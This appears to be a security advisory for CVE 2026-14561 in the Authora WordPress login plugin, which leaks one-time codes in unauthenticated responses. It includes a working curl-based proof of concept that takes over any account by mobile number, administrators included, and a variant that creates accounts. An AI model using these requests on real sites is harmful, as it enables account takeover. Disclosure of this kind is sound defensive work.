Authora – Easy Login with Mobile Number < 1.7.7 – Unauthenticated Account Takeover via OTP Disclosure | CVE 2026-14561

Description

The plugin does not keep its one-time login code confidential, returning the code and a valid verification token in the response of an unauthenticated action, allowing unauthenticated attackers to log in as any user whose registered mobile number they know (including administrators) or to create arbitrary accounts.

Proof of Concept

Prerequisites: the target has an SMS gateway configured (the plugin's normal operating state) and the victim account has a registered mobile number. To take over an administrator, use the administrator's mobile number.

1. As an anonymous visitor, grab the login nonce from any frontend page (it is rendered in the login form for logged-out visitors):

curl -s https://victim.example/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+"'

2. Request a login code for the victim's mobile number. The response body leaks the code and a valid verification nonce:

curl -s -X POST https://victim.example/wp-admin/admin-ajax.php \
  --data-urlencode action=authora_login \
  --data-urlencode mobile=09123456789 \
  --data-urlencode _wpnonce=LOGIN_NONCE_FROM_STEP_1

Response:
{"success":true,"data":{"message":"...","code":"51060","duration":200,"mobile":"09123456789","_wpnonce":"8dad7ad97f"}}

3. Replay the leaked code and nonce to the verify action. The response sets a valid logged-in cookie for the victim:

curl -s -i -c cookies.txt -X POST https://victim.example/wp-admin/admin-ajax.php \
  --data-urlencode action=authora_verify \
  --data-urlencode mobile=09123456789 \
  --data-urlencode code=51060 \
  --data-urlencode _wpnonce=8dad7ad97f

Response:
Set-Cookie: wordpress_logged_in_...
{"success":true,"data":{"message":"Login successful"}}

4. Use the cookie to access the victim's account (an admin-only page if the admin mobile was targeted):

curl -s -b cookies.txt https://victim.example/wp-admin/users.php   # HTTP 200

Variant: requesting a code for a mobile number that is not yet registered causes the verify step to auto-create a new subscriber account and log the attacker into it (unauthenticated account registration).